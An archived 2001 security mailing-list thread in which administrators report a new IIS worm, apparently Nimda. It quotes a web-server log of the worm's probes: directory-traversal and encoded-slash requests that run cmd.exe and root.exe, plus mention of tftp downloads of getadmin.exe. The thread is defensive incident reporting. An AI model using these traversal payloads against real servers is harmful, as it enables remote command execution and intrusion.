Re: New Worm ?

From: Ed Shirley (thewthrmanat_private)
Date: Tue Sep 18 2001 - 08:55:07 PDT

  • Next message: Cory McIntire: "Re: New Worm ?"

    In addition to this, we are seeing attempts to tftp
    getadmin.exe.  What is going on here.  It started at
    9:20 am and there are some 20,000 alarms on the IDS.
    
    Ed
    
    
    --- Cory McIntire <coryat_private> wrote:
    > Hello, 
    > I and a few others I know are getting bombard on our
    > machines with IIS 
    > requests....looks like another worm, and its much
    > smarter than before, it 
    > seems to stay within the same class A and sometimes
    > the same class B as the 
    > attacking machine is in. here is an excerpt of what
    > i believe is the full 
    > scan....
    > 
    > 204.120.69.195 - - [18/Sep/2001:09:35:12 -0500] "GET
    > /MSADC/root.exe?/c+dir 
    > HTTP/1.0" 404 - "-" "-"
    > 204.120.69.195 - - [18/Sep/2001:09:35:12 -0500] "GET
    > 
    > /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-"
    > "-"
    > 204.120.69.195 - - [18/Sep/2001:09:35:12 -0500] "GET
    > 
    > /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "-"
    > "-"
    > 204.120.69.195 - - [18/Sep/2001:09:35:12 -0500] "GET
    > 
    > /scripts/..%255c../winnt/system32/cmd.exe?/c+dir
    > HTTP/1.0" 404 - "-" "-"
    > 204.120.69.195 - - [18/Sep/2001:09:35:12 -0500] "GET
    > 
    >
    /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
    > 
    > HTTP/1.0" 404 - "-" "-"
    > 204.120.69.195 - - [18/Sep/2001:09:35:12 -0500] "GET
    > 
    >
    /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
    > 
    > HTTP/1.0" 404 - "-" "-"
    > 204.120.69.195 - - [18/Sep/2001:09:35:12 -0500] "GET
    > 
    >
    /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
    > 
    > HTTP/1.0" 404 - "-" "-"
    > 204.120.69.195 - - [18/Sep/2001:09:35:14 -0500] "GET
    > /scripts/root.exe?/c+dir 
    > HTTP/1.0" 404 - "-" "-"
    > 204.120.69.195 - - [18/Sep/2001:09:35:16 -0500] "GET
    > 
    > /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
    > HTTP/1.0" 404 - "-" "-"
    > 204.120.69.195 - - [18/Sep/2001:09:35:16 -0500] "GET
    > 
    > /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir
    > HTTP/1.0" 404 - "-" "-"
    > 204.120.69.195 - - [18/Sep/2001:09:35:19 -0500] "GET
    > 
    > /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
    > HTTP/1.0" 404 - "-" "-"
    > 204.120.69.195 - - [18/Sep/2001:09:35:19 -0500] "GET
    > 
    > /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
    > HTTP/1.0" 404 - "-" "-"
    > 204.120.69.195 - - [18/Sep/2001:09:35:19 -0500] "GET
    > 
    > /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir
    > HTTP/1.0" 400 215 "-" "-"
    > 204.120.69.195 - - [18/Sep/2001:09:35:22 -0500] "GET
    > 
    > /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir
    > HTTP/1.0" 400 215 "-" "-"
    > 204.120.69.195 - - [18/Sep/2001:09:35:23 -0500] "GET
    > 
    > /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir
    > HTTP/1.0" 404 - "-" "-"
    > 204.120.69.195 - - [18/Sep/2001:09:35:23 -0500] "GET
    > 
    > /scripts/..%252f../winnt/system32/cmd.exe?/c+dir
    > HTTP/1.0" 404 - "-" "-"
    > 
    > just thought I would let you guys know...this one
    > looks bad fella.....thank 
    > god for apache.....that is of course, if there isnt
    > a huge bog down on the 
    > net....=[
    > 
    > cory
    > 
    >
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